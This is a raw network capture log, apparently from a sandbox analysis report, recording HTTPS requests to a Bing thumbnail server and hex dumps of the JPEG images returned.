2024-11-20 17:57:52 UTC	16384	IN	Data Raw: 94 92 bb a0 71 29 64 aa 25 2c 95 44 a2 52 09 46 4a 49 54 02 50 15 68 13 20 94 08 d1 e3 0d 2f 0d 79 80 7b 10 3e 64 cd 91 b8 8a 8c 85 7a 57 fb 3f 18 63 8d 4f 04 77 2d 2d 98 90 2d dd 62 37 11 c8 25 85 ae b9 05 b5 0a 81 1c 38 78 46 e9 4e f2 a3 65 43 5c 98 e6 d0 48 75 88 dc 29 38 f4 ce c8 dc 8f 90 c6 e3 61 7b 89 dc b4 02 6c 38 cc 40 3b 4f 15 57 b4 80 ac 78 1f 95 c0 31 a4 cc c5 8c 58 49 5e a7 4b ec c1 27 d4 3c df a6 f0 5b bb 3f 33 4d a0 de d6 1c 37 0b 37 41 af 71 2d 6e 3c 38 d9 8a c0 3d c4 4b c9 68 98 2e 73 65 f7 2e 75 2d 23 82 d1 66 a9 ae d5 ea 18 5e 5f 1e eb 9a 63 94 34 90 d7 53 62 d8 75 af 32 2e b9 3b 7d 96 fa 78 67 75 a7 9b 4e 32 66 6e 53 93 3e 3c 83 94 37 11 80 f2 0c c9 64 89 8f eb 30 38 84 dc fa b7 60 7e 26 7a 39 32 35 fe f6 4e 0c 6d cb 8b 84 76 13 c0 1e Data Ascii: q)d%,DRFJITPh /y{>dzW?cOw---b7%8xFNeC\Hu)8a{l8@;OWx1XI^K'<[?3M77Aq-n<8=Kh.se.u-#f^_c4Sbu2.;}xguN2fnS><7d08`~&z925Nmv
2024-11-20 17:57:52 UTC	16384	IN	Data Raw: 7a 88 f1 d9 6d 33 09 38 2a 78 2c c6 1b 00 b8 dc f7 75 3b 92 78 0e 3b a1 36 a1 e9 f0 b3 44 c7 1c cf 63 4b da 4c 93 bb 4f 00 d1 2e 24 cf 05 13 06 0c 39 28 82 44 19 83 b3 e0 f1 69 98 81 c1 64 eb 33 bb 23 e1 ae 71 68 f7 41 ec 38 ba 38 f4 d8 6c a0 e2 c8 f6 3a 1a 4d ed bf c9 2d 69 23 68 61 c6 e2 fc 8e 88 0e 86 b1 a2 03 c9 36 f0 e3 68 41 e8 b7 d5 61 61 0d 22 48 02 26 5b 7d b6 83 e6 ad fa 6c f0 c6 be 96 45 e4 9d e4 ef 69 b8 16 e8 b4 74 fa 13 8c 8c 99 8d 34 98 6c 11 7f ea b0 f7 7c f7 4d 44 1c 4c 27 d5 2e 7b 5a 60 98 7e ee 32 4c 4c 98 1b 79 a7 e9 b5 25 f5 e0 e6 87 fb a2 77 03 60 4f 08 81 e0 a3 30 3f 50 ec 8c 66 40 cd cf 35 aa 1e 13 1d 63 75 d8 c1 39 bd 36 38 12 d9 e7 82 2e dd c8 9b db aa 7a 1a a7 2f a1 9f 1b 4b 83 5e 5a 0b f8 b4 3a 48 b9 b7 91 db 75 a3 48 cd 9b 1b Data Ascii: zm38*x,u;x;6DcKLO.$9(Did3#qhA88l:M-i#ha6hAaa"H&[}lEit4l\|MDL'.{Z`~2LLy%w`O0?Pf@5cu968.z/K^Z:HuH
2024-11-20 17:57:52 UTC	7952	IN	Data Raw: 00 0f 9f 1d 75 41 cf f4 43 5b 4c 10 62 72 47 f1 9e c3 8e f1 e6 a2 69 06 4d 6e 53 97 27 b8 d1 16 90 db dc 32 4e cd 1c 6e 13 9b 89 ec e6 cd 0c da 8c 38 cc e4 0c 6e cd d8 c0 3c 4b 94 c8 cd 98 5c 33 13 41 24 62 60 2e 0d 6f 56 c7 3b 8f 19 20 2b 69 9f 08 ba cd 5c ff 00 86 5a 1a d1 1c a2 d2 36 03 87 8a c2 d3 35 fa cc f1 73 4c 3b 73 6b de 4d c9 2a 53 f0 fe f3 2d 0c 2e 0d 61 73 6f ca 49 07 7a 44 81 f3 2b 47 52 d6 68 1a 34 98 84 66 70 9c cf d9 cc 69 10 31 8e c5 df ca 0d 85 92 69 3a e4 23 59 94 bf 2c 36 32 06 99 bf bb 2d de 26 2d 3c 7a 2c 0c c7 76 8e f2 6d df ad ca 97 93 fc 38 2e 6b ed 4c 36 39 48 1b 0e c3 be ea 2b 31 89 00 6e 78 de dd e4 46 d3 b0 48 49 89 58 47 a5 4b aa aa 5d 34 83 b5 b6 b7 85 cf 82 f4 58 f2 5f 90 96 d4 d2 0d 8c 1b f6 ee 47 12 b1 08 c7 8a 8b 8b b8 Data Ascii: uAC[LbrGiMnS'2Nn8n<K\3A$b`.oV; +i\Z65sL;skM*S-.asoIzD+GRh4fpi1i:#Y,62-&-<z,vm8.kL69H+1nxFHIXGK]4X_G
2024-11-20 17:57:52 UTC	16384	IN	Data Raw: 3e 5f 5d c0 06 9c 78 3d 57 32 a1 30 05 64 0a 84 8e 67 54 83 4b a7 d4 33 23 9b 9b 55 9f 33 18 da de c3 8f 1e 3c 72 0c 0a 9c 4d 32 08 b3 4b a0 f7 5e a3 13 3f 6a c6 b7 4f a7 38 cb de 5d 92 72 34 52 49 21 c5 86 ee 73 c3 49 18 c9 00 36 50 bb 46 dd 50 c8 1f 8d c7 1c 1f 45 8e cd 96 9c 4e 80 d2 e7 b5 8e 35 10 00 20 98 b9 28 2f f6 bc f0 d0 e8 72 e5 71 ab 54 fa a0 e4 7e 36 62 75 46 f0 72 35 a4 98 df c7 82 76 26 e0 d3 e9 f3 06 33 51 8d ac 00 bc b8 e1 16 79 86 d4 e9 0d 6c fe 5f 78 5a 41 5a ef d3 e4 66 9d fa 6f 4b 07 a6 f0 da bf 48 b6 a2 d3 ca 5d 49 00 c6 d0 78 71 49 7e 84 e6 68 63 b3 ea 2d 31 e9 b3 18 37 b1 a9 c0 4b ac 20 17 5e e4 ca 91 78 b2 fd 4d 3b 03 46 41 a9 6d 4f 81 4e 4d 3b de e3 1b 52 c2 e7 13 7e de 29 f8 3d a5 a0 c3 53 5b fb be 20 b8 50 1c 41 e0 25 a2 91 e4 Data Ascii: >_]x=W20dgTK3#U3<rM2K^?jO8]r4RI!sI6PFPEN5 (/rqT~6buFr5v&3Qyl_xZAZfoKH]IxqI~hc-17K ^xM;FAmONM;R~)=S[ PA%
2024-11-20 17:57:52 UTC	10072	IN	Data Raw: 43 1b ff 00 17 16 fc ba 25 51 8e 39 86 3f 93 4f d6 9f 82 3f 47 23 43 89 a1 cc 64 12 e7 1f 4d 87 bf f9 4a 56 60 fc 0f 82 da 5c 5b 6a 5c 6e 44 58 de f6 da f2 50 69 30 de 11 11 b0 82 3e 83 fc 94 47 63 69 3f e2 c4 4d ac 0c 47 01 09 18 da 33 bc fa a4 ee 7d d9 2e e8 04 fe 0b 45 9a 62 d3 b3 1e dd e5 c2 4e dc 69 36 83 13 d5 23 43 f4 1a 5c 2e e1 62 49 74 11 e5 01 0f a1 51 22 66 3b 12 05 fa 11 f6 2a 43 81 c4 ed 98 c2 77 87 54 2f c6 48 ff 00 34 d2 dc 8c 88 2c 79 37 02 96 c5 b7 07 7d c2 65 a8 9e 99 c5 12 ee 33 bf bc 7c e7 b7 9a 8b 5b 43 c3 4d 47 87 2c b6 fc 2e e1 1e 1c 56 cb bd 0c 8d 15 31 f2 6f 01 83 7f 31 c3 c5 44 71 80 d7 12 e0 01 82 c7 06 da 66 fd ee 90 d2 99 95 e4 c5 51 16 3f 08 fc 66 14 93 91 e1 c7 dd e1 b5 f7 d8 fd be 48 46 37 e5 30 20 8f 36 93 6e e7 75 61 94 Data Ascii: C%Q9?O?G#CdMJV`\[j\nDXPi0>Gci?MG3}.EbNi6#C\.bItQ"f;*CwT/H4,y7}e3\|[CMG,.V1o1DqfQ?fHF70 6nua

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	49889	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:51 UTC	375	OUT	GET /th?id=OADD2.10239370639702_1LY06F7YB2ZF9D3G5&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-20 17:57:52 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 634564 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: A1ABFB22E2B948F4BDD9E2431296C7DD Ref B: EWR30EDGE0306 Ref C: 2024-11-20T17:57:52Z Date: Wed, 20 Nov 2024 17:57:51 GMT Connection: close
2024-11-20 17:57:52 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1a a0 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 31 3a 32 31 20 31 36 3a 32 38 3a 30 32 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 25.1 (Windows)2023:11:21 16:28:028
2024-11-20 17:57:52 UTC	16384	IN	Data Raw: 22 16 4a 4d b5 3e ca 46 4a 40 41 b6 93 6d 4e c9 48 c9 54 04 2c b4 9b 6a 6d b4 8c b4 01 03 03 4b b6 a5 db 49 40 11 62 92 a5 db 49 b7 14 01 1d 23 0a 93 6d 1b 68 02 2a 4d b5 2e da 4d b4 01 16 da 46 15 2e da 46 5a 00 89 85 35 85 4c cb 48 cb 40 11 50 c2 a4 a4 db 40 11 ed a4 db 52 30 a4 c5 16 01 94 98 a7 d0 c3 14 00 cc 51 8a 72 d2 f3 48 68 d7 f0 1d aa 5c eb d1 87 5d db 7f 86 bd 86 c5 02 7e ec 74 5a f2 0f 03 1b 94 d6 23 fb 3a ed 2c d8 dc df 75 7d 6b d7 f4 95 73 1e 64 6d cd 5e 16 65 7f 68 8f 5f 07 fc 32 ea 2d 39 96 9e ab 4b b6 bc d3 a8 8b 65 35 97 15 63 6d 46 eb 40 10 b2 fa d2 2c 78 6a 9b 6d 2a ae 68 01 8a b4 ec 66 97 18 a1 b8 a0 06 32 d3 58 53 99 a9 ad 40 02 8a 55 41 4a 83 34 f5 14 00 d5 4a 5d 94 f5 a7 63 34 01 0e ca 19 2a 5c 51 b6 80 2b 32 d3 1d 6a cb 25 31 d2 Data Ascii: "JM>FJ@AmNHT,jmKI@bI#mhM.MF.FZ5LH@P@R0QrHh\]~tZ#:,u}ksdm^eh_2-9Ke5cmF@,xjmhf2XS@UAJ4J]c4*\Q+2j%1
2024-11-20 17:57:52 UTC	16384	IN	Data Raw: ad 4b 7f 69 3d b5 c6 25 89 a3 dd f7 77 52 2a b0 e0 57 42 b5 b4 31 d9 d8 6f 2d cd 3b cb 1b 68 da 43 7b 53 9b 23 a5 16 02 2d bf 37 34 bb 30 bc 54 ca 85 bf 86 94 c6 47 d2 80 3e df 98 40 d5 52 64 8c 37 15 88 b7 d3 8e bb aa 44 bd 62 d8 35 f3 1e c9 9e bf 3a 2e cd 20 15 56 49 f6 f2 1a a4 8e 68 df ef d2 b4 10 3f 22 9a 49 0b 52 aa 5d b9 91 76 6e cd 6c 5b db dc 35 be f9 6e 76 b7 f7 56 a8 b5 b4 69 ca 54 b8 22 3e 5a 9e 9d 03 52 c2 e8 b7 77 16 ed 25 bc ea c7 fd aa aa fa 2e bf 0c ca 65 81 a5 8f fe 99 b0 6a bd a5 6a 7f 65 93 cb 92 5d aa d5 d1 d8 de 09 d7 31 ce ac 29 7b 59 c7 a6 81 ec e3 23 9d b3 b5 96 39 17 ed 3e 7c 5f dd 5d b5 aa 91 a4 51 ef 93 76 2b 61 b0 cb f3 ed 6a 14 c1 f7 0d 63 29 f3 33 45 1b 18 49 7f 66 f2 6c f3 76 ed a6 dd 6a 36 f0 cc a3 cd 56 ad bb 8b 7b 37 e4 Data Ascii: Ki=%wR*WB1o-;hC{S#-740TG>@Rd7Db5:. VIh?"IR]vnl[5nvViT">ZRw%.ejje]1){Y#9>\|_]Qv+ajc)3EIflvj6V{7
2024-11-20 17:57:52 UTC	16384	IN	Data Raw: e1 5b 49 e2 f3 06 e6 82 42 9e 5a 7e 39 dc 6b c6 23 8e cd ad d4 c9 3f 97 27 f1 7f b2 3e 95 14 96 c8 f2 32 5b 4a d2 2f 5d df 75 ab 9e a6 0e 8c b7 5a 9b 43 15 52 3b 3d 0f b1 fc 1b e3 cf 03 f8 bb ca 8f 4a d6 15 6e 64 5c b5 b4 bf 23 af b7 cd 8a dc 6b 4b 39 ee a4 b7 83 51 b6 69 62 ff 00 59 1a ce 19 97 ea 33 5f 12 d8 e9 b7 23 6c f2 ce d6 c5 57 30 36 ed ad 91 fc aa ce 95 77 ac 5b 5c 4b 2c 1a 9b 45 23 7c 92 4a d2 9d cc 33 fa d7 9b 57 2f 8a 7e e4 b4 3b 61 8c 6f 78 9f 66 dd 78 76 e1 97 72 32 d6 79 f0 bd cb b7 cf d6 be 76 d0 fe 30 fc 40 d2 b4 78 ec ad f5 af 36 18 24 f9 64 b9 84 3b c8 3d 32 79 c5 7a 07 86 3f 68 fb 39 b7 0d 7f 43 9e db 6b 01 e6 db 48 1d 7d fa ff 00 4a e7 78 5a d1 f8 5d cd a3 88 a4 f7 3d 3a 1d 06 ee 26 d9 4f b8 d2 2e 23 5f ba d9 6a 8f c1 ff 00 10 3c 35 Data Ascii: [IBZ~9k#?'>2[J/]uZCR;=Jnd\#kK9QibY3_#lW06w[\K,E#\|J3W/~;aoxfxvr2yv0@x6$d;=2yz?h9CkH}JxZ]=:&O.#_j<5
2024-11-20 17:57:52 UTC	16384	IN	Data Raw: 54 ce 4b 62 a2 9b d4 a8 b0 ef f3 23 8d 59 b7 67 cc 6e 77 2e 7d 69 77 45 0d ab 07 89 58 af 0a cd f3 37 d4 d4 9a 85 c2 5b db b4 10 45 e6 aa ae 19 95 bd 7f 2a 21 49 5a 38 fe 5d ab 22 fc b1 47 8f 9a a7 a5 d9 7d 4a 91 cb f6 98 56 48 e2 93 ef 79 71 ee c7 5e e6 99 7f 11 2d 81 b9 59 7f bd f2 d6 fc 76 f0 24 8a ee b2 46 b0 2e 59 be ea 2e 7d 07 f1 1a c4 d6 2e 23 46 8d d2 39 3c c9 18 ff 00 ac fb b8 1d c8 14 53 95 de 81 25 65 a9 95 24 2f 04 db ce dd ad f7 7f cf 4a 7c 93 94 8f 9e af f7 b6 af cc b5 66 6d 92 43 88 f6 ca 37 7d ef 2f 6e df ce a9 dc 10 93 33 a2 ed 8f a3 6e ae 95 ae e6 3b 0c be 73 1c 6a 0b 48 dd 0f f7 79 34 db 11 28 93 cc 9d 59 8f 45 5f ad 4b 72 4d c3 2c b2 33 79 6b fe d7 f5 ab 56 26 54 8f fd 6f 3b 7e 5f 33 e5 eb e9 4d e9 12 3a 8f 51 12 48 d2 3f cc cd c2 c6 Data Ascii: TKb#Ygnw.}iwEX7[E*!IZ8]"G}JVHyq^-Yv$F.Y.}.#F9<S%e$/J\|fmC7}/n3n;sjHy4(YE_KrM,3ykV&To;~_3M:QH?
2024-11-20 17:57:52 UTC	16384	IN	Data Raw: e8 6d a4 7b a8 e3 45 59 0c 8c 02 ab 7b d7 56 cb 53 0e aa c4 4c c5 9b fb c3 f8 ab 73 e1 df 86 ae fc 45 ac 2c 45 59 6d 57 fd 64 ab 19 66 5f 61 8e f5 de 78 47 c0 7a 3e 9d 0c 5a a6 b7 6c d7 82 45 ff 00 56 df 34 2a 47 56 ea 3e 5e d9 39 a8 ae 7c 53 6f a7 47 75 1e 9c b0 69 f6 f2 49 88 96 38 19 56 6c f7 cf 70 3d ab c8 ad 98 ba 8a 50 c3 ab be e7 7d 3c 27 2b 52 a8 fe 47 6d e1 3b ad 2a c2 e1 b4 2d 12 d3 cb 48 17 f7 ad 2b 6c dd c7 52 40 fe b5 8f ab 6b 51 41 74 b0 5e dc ac f1 c4 c6 48 e4 dc ea 8a 47 41 ce 33 8a 97 c2 36 3a 85 95 af da f5 0b cd d1 ce db 97 cb f9 77 03 f5 3c 7e b5 8d f1 0a dd 2e 64 51 24 17 37 9b 72 62 8a d1 b7 32 a6 3f 88 8c f1 9a f0 29 d3 84 ab b4 dd fc ff 00 e1 cf 5a 53 6a 9e 87 31 36 9f aa 78 bf 52 64 4b c5 88 46 ac ed 23 30 db 8c f0 02 2f 3f 9d 75 Data Ascii: m{EY{VSLsE,EYmWdf_axGz>ZlEV4GV>^9\|SoGuiI8Vlp=P}<'+RGm;-H+lR@kQAt^HGA36:w<~.dQ$7rb2?)ZSj16xRdKF#0/?u
2024-11-20 17:57:52 UTC	16384	IN	Data Raw: 9d 83 6d 1e cb c0 15 9f 7d 3d c4 1a a4 0e 6f be d9 36 d3 b6 0e 7e 69 3b 0e 80 67 bd 3a 7a fc 2c a9 59 6a d1 76 ce 5c c7 28 b4 89 63 0b 21 76 91 9b 76 e3 df 27 ff 00 d7 50 c6 2e 04 32 3d ec 52 46 6f 23 0e aa cd b1 70 38 00 f2 7a fa 55 1d 56 e5 20 86 da d2 78 b6 86 50 f2 6d 6d aa a0 1c f7 e0 02 7f 3a b9 f6 98 e6 f3 6e 2e ef a3 55 9f 06 db cd 6d cb 18 ec c0 f7 fa 56 8e 2e d7 26 fa 8c b8 37 12 5a c8 6d fc c9 23 82 42 ed 1d b4 03 6b 71 f7 73 eb 9a 9a dd 2f 6f 6d 63 49 60 82 2b 89 f6 f9 8a df 3e d1 9f e3 3d db d8 74 a3 c3 ec 5e 69 e3 d3 e5 9d ad 77 80 b3 b4 9c 7b ed 1c 75 eb 55 bc 58 fa 44 7a 7c 49 73 73 3d 9b 47 23 6d 6d bd ba 67 38 a6 ae e7 c9 6d 43 45 1b 91 f8 d3 50 95 63 6d 2a 15 5b 9b fe 42 f9 0c 17 6a 75 25 f3 f7 78 ae 2a e5 85 95 8e 1e 0f 22 e6 4e 23 89 Data Ascii: m}=o6~i;g:z,Yjv\(c!vv'P.2=RFo#p8zUV xPmm:n.UmV.&7Zm#Bkqs/omcI`+>=t^iw{uUXDz\|Iss=G#mmg8mCEPcm[Bju%x"N#
2024-11-20 17:57:52 UTC	16065	IN	Data Raw: 3f 95 24 fe 23 9e 07 d6 9f 34 9b 4a c3 8a d0 ca b4 69 12 f1 ad e4 89 54 c5 cb 6e cd 6b 5b c5 6e 9a 2d f5 ce ef 30 c2 d1 a2 af bb 1e bf 95 45 a6 e9 d2 4f 1c 97 e6 db 70 59 04 6d e5 b6 ed ae 7b 7e 54 58 5a b5 bc 7e 56 d6 62 df bc 65 6f bb f9 d5 3e 84 f5 29 4c a2 69 3c f4 f9 76 af cc ac df 7b 15 4e fc 0f b5 28 2b ff 00 02 5f bd 53 da c8 4d d3 19 17 69 97 9f f6 5b e9 4d ba 89 04 cd f3 7f 0f dd ac 89 d6 e2 69 b0 bc b7 92 7a 7f b3 5a 36 68 f2 5a b0 8d 77 75 15 4e de ed ed a1 96 0b 2e 92 c7 e5 c8 cd e9 9c d6 b4 28 6d a1 58 9e e6 35 1e 51 75 65 cb 6d 1d 81 f7 a7 2b 58 a8 95 74 d5 8e 28 65 df b9 7f d9 5f 4a a9 a8 14 91 a4 3b 5b e5 51 b5 7f bb 53 a9 8a 18 54 6e f2 e4 db 96 f3 3e eb 1a 87 52 94 c8 b9 91 97 0a bf 75 7f 8b f1 a2 c5 74 31 37 05 65 07 a5 59 b6 25 99 47 Data Ascii: ?$#4JiTnk[n-0EOpYm{~TXZ~Vbeo>)Li<v{N(+_SMi[MizZ6hZwuN.(mX5Quem+Xt(e_J;[QSTn>Rut17eY%G
2024-11-20 17:57:52 UTC	16384	IN	Data Raw: de fc 6b 3f e4 59 30 ed 5b 7a e8 f3 5a 41 67 13 6d 81 42 2a aa fc cc 07 53 c5 64 e9 fe 62 5c 46 e8 ab 24 9b be 55 65 dd fa 57 da 45 24 b4 3e 76 5b 9a f6 22 6b 78 e4 b5 8a f1 ad ad af b1 e6 6e 5f f5 98 f6 1e 95 f4 17 ec f1 6b 6f 65 e1 1f b4 a6 a1 73 a8 5b d9 c8 4e 97 04 f6 c7 62 c8 4e 59 cf a8 c8 1e d9 f5 af 9e f4 ad 36 e7 56 f1 07 91 02 ed 93 97 91 64 60 ab 1e 3a 9e dc 0a fa 87 c1 a8 67 f0 6d 8d 84 76 d2 49 e7 c1 b3 4f 55 c4 63 8e 9f 2a fa 93 9c 9a f9 0e 28 c7 4b 0d 46 30 a6 f5 96 ff 00 d7 f5 d4 ef c0 45 b9 df b1 d5 f8 6e 1b 9d 52 48 2e a7 68 e0 b6 5d d2 48 b1 41 b3 71 3d 36 8e 06 3d 05 45 ab 5e 9b cf 15 59 cf f6 69 22 55 52 16 e6 55 3b 63 45 fb ea 83 d4 e7 93 d6 ae c3 e2 39 74 6b 58 f4 ed 42 29 1a e6 ea 4f b3 44 d6 39 79 b2 bd 77 1e 88 3e 9c d6 05 8d cc Data Ascii: k?Y0[zZAgmBSdb\F$UeWE$>v["kxn_koes[NbNY6Vd`:gmvIOUc(KF0EnRH.h]HAq=6=E^Yi"URU;cE9tkXB)OD9yw>
2024-11-20 17:57:52 UTC	16384	IN	Data Raw: ab 07 97 04 f0 f9 92 2f c9 23 aa e4 82 d8 3b 39 1d 7f 5a e8 df 11 aa a5 84 0a d6 d0 45 e5 b5 ca af 92 d0 9c 70 aa 80 67 81 de b3 b5 4f 0c c1 ac d8 d8 9b 88 a0 6b 78 24 26 fa 5f 33 62 49 c6 02 b6 7d 38 1c e3 9a f9 9c 24 d4 71 31 a8 fa 7f 5a f9 9e ce de e9 bd f1 11 a2 f0 cf 82 f4 34 d4 35 7f b7 34 9a 6c 6f 77 2b 62 67 c3 a0 66 c3 71 85 c8 08 aa a3 3d 3e b5 f3 a7 c4 5f 89 9a e6 9d 7d 3c 1e 12 d6 67 b3 b0 b6 8c 88 e3 5f 7e 18 e4 12 32 49 3d 0f 15 df 7c 56 b8 f1 7f 8b bc 17 63 73 a5 4b a4 e9 f6 37 97 22 c2 d1 a3 bb 32 4d 7c 63 3e 5e 55 48 c4 31 2a 8e 49 3c d7 8f 69 be 03 bb d4 bc 44 ba 14 fa 9e 97 6a 5a e4 db 2d cc 93 ec 56 d8 f8 62 17 af 27 a0 20 66 be bf 2d c1 61 ef 2c 45 6b 37 ae 9d ba ea bb a3 87 1b 52 72 92 8c 34 f3 30 6e 3c 51 79 3e 93 6d 1c 70 41 03 40 Data Ascii: /#;9ZEpgOkx$&_3bI}8$q1Z454low+bgfq=>_}<g_~2I=\|VcsK7"2M\|c>^UH1*I<iDjZ-Vb' f-a,Ek7Rr40n<Qy>mpA@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	49890	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:51 UTC	375	OUT	GET /th?id=OADD2.10239360264291_1OMXAE3VFGJI9A76K&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-20 17:57:52 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 585223 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: CA8799496BF842E9857B3ED3E6F4B1E4 Ref B: EWR30EDGE0809 Ref C: 2024-11-20T17:57:52Z Date: Wed, 20 Nov 2024 17:57:51 GMT Connection: close
2024-11-20 17:57:52 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 13 aa 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 32 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 33 3a 32 34 20 30 30 3a 33 36 3a 35 34 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 24.2 (Windows)2023:03:24 00:36:548
2024-11-20 17:57:52 UTC	16384	IN	Data Raw: 9e 8f b3 d1 cc 83 95 99 9e 55 3b ca ad 0f b3 d1 f6 7a 39 90 72 b2 87 95 ba 99 e5 56 9f d9 e9 df 65 a3 98 39 4c d8 ed e9 fe 4f b5 68 f9 14 9e 4d 2b 8f 90 cf fb 3d 23 41 5a 5e 5d 37 c9 ff 00 38 a7 cc 1c a6 7a db d1 e4 56 87 97 47 97 4a e3 e5 28 ad bd 48 b0 55 cf 2e 97 65 2e 61 d8 a6 b0 53 fc 94 ab 3b 28 c5 2b 82 56 2a 34 54 8d 15 5b 64 a6 b2 51 71 94 fc ba 5f 26 ac ec a7 6d a7 cc 05 55 8a 97 ca ab 3b 68 db ed 4e e2 b1 5b ca a3 ca ab 3b 7d a8 db ed 4b 98 65 5f 2e 97 ca ab 18 a3 14 ee 05 6f 21 5a 93 c8 4a b5 8a 5d be d4 af 60 2b 2c 54 f5 8a a6 db ed 4b 8a 57 02 25 8e 97 65 49 8a 5a 2e 04 5e 5d 1b 2a 4c 51 8a 2e 04 14 51 45 75 58 e7 0a 28 a6 d2 01 d4 6e f7 a6 d1 cd 3b 00 ed de f4 b9 a6 51 49 a1 22 4a 4c d3 3e 6a 76 df 6a 76 1d ee 1b bd e8 dd ef 46 df 6a 36 fb Data Ascii: U;z9rVe9LOhM+=#AZ^]78zVGJ(HU.e.aS;(+V4T[dQq_&mU;hN[;}Ke_.o!ZJ]`+,TKW%eIZ.^]LQ.QEuX(n;QI"JL>jvjvFj6
2024-11-20 17:57:52 UTC	16384	IN	Data Raw: 3d 4b 1d b6 aa df 34 97 70 23 7f b1 f3 7e b5 87 d5 e2 be 29 a0 f6 ad 1a 52 4b 2b 7c be 5c 9b 7f db f9 aa 16 db fc 5e 5a ff 00 9f 6a ce 9a ce f1 b7 f9 da b7 fe 83 4c 86 ce f1 7e 5f b5 c6 db 7f 8f ef 7f 2a d3 d8 d3 4b 49 fe 63 f6 c8 d5 f3 59 b6 2a c9 1e df f6 12 a5 52 ab ff 00 2d 3e f5 62 de 69 fb a4 46 9b 52 f9 76 2e f7 fb bb 3f e0 34 eb 5d 1e 09 e4 da b3 cf 2d 67 2a 54 a2 af 29 fe 02 75 bb 2d 4d ab 7b c8 20 93 74 91 fd a1 7f e7 8b bf eb c5 47 aa 6a 90 7f ac b8 8e 3b 75 5f 97 62 26 d5 aa b0 f8 72 2f 33 ed 1e 5c 9b 55 fe fe ff 00 9a 9d 36 91 17 da b7 79 91 ed fe 0d ff 00 33 6d fe 55 9c b1 14 23 ee f3 e9 e9 66 1c f3 ba b2 20 6d 72 05 fb b2 47 4f b7 d5 fe d1 f2 c3 e7 cb fe e7 dd ab 93 69 d6 d0 47 e6 34 1e 6f cf fe ca ef aa d7 8e d7 